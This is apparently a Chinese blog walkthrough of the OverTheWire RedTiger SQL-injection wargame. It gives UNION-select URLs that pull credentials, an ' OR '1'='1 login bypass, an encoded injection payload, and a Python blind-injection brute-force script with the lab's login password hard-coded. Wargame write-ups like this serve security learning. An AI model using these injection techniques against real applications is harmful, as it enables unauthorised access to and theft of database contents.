資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|m.rigasin.com|我的開發(fā)技術(shù)隨記

• https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users
  
  

• 用戶名隨意
• 密碼' OR '1'='1
  
  

• https://redtiger.labs.overthewire.org/level3.php?usr[0]=a&usr[1]=b
  
  

• <?php
• function encrypt($str)
• {
•         $cryptedstr ="";
• for($i =0; $i < strlen($str); $i++)
• {
•             $temp = ord(substr($str,$i,1))^192;
• while(strlen($temp)<3)
• {
•                 $temp ="0".$temp;
• }
•             $cryptedstr .= $temp."";
• }
• return base64_encode($cryptedstr);
• }
• function decrypt ($str)
• {
• if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
• {
•             $str = base64_decode($str);
• if($str !=""&& $str !=null&& $str !=false)
• {
•                 $decStr ="";
• for($i=0; $i < strlen($str); $i+=3)
• {
•                     $array[$i/3]= substr($str,$i,3);
• }
• foreach($array as $s)
• {
•                     $a = $s^192;
•                     $decStr .= chr($a);
• }
• return $decStr;
• }
• returnfalse;
• }
• returnfalse;
• }
• ?>
  
  

• https://redtiger.labs.overthewire.org/level3.php
• ?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjI0
  
  

Query returned 1 rows.

Query returned 0 rows.

• order by表示有兩個column，雖然也沒啥用..先來判斷長度
• https://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword ,1 from level4_secret where length(keyword)=17
• 一共17個字節(jié)，這次肯定不是MD5。。。
• 寫腳本，從A-Z a-z 0-9跑一遍，得出最終結(jié)果
  
  

• # -*- coding: utf-8 -*-
• import requests
• s = requests.Session()
• result =""
• login ={'password':'dont_publish_solutions_GRR!',
• 'level4login':'Login'}
• for x in range(1,17):
•     flag =True
•     url ="http://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword,1  from level4_secret where SUBSTR(keyword,%d,1)='%s'"
• for i in range(ord('a'),ord('z')+1):
• if(flag ==False):
• break
•         test_url = url %(x,chr(i))
•         r = s.post(test_url, data = login)
• if"2 rows"in r.content:
•             result = result + chr(i)
•             flag =False
• for i in range(ord('A'),ord('Z')+1):
• if(flag ==False):
• break
•         test_url = url %(x,chr(i))
•         r = s.post(test_url, data = login)
• if"2 rows"in r.content:
•             result = result + chr(i)
•             flag =False
• for i in range(ord('0'),ord('9')+1):
• if(flag ==False):
• break
•         test_url = url %(x,chr(i))
•         r = s.post(test_url, data = login)
• if"2 rows"in r.content:
•             result = result + chr(i)
•             flag =False
• print result
• print result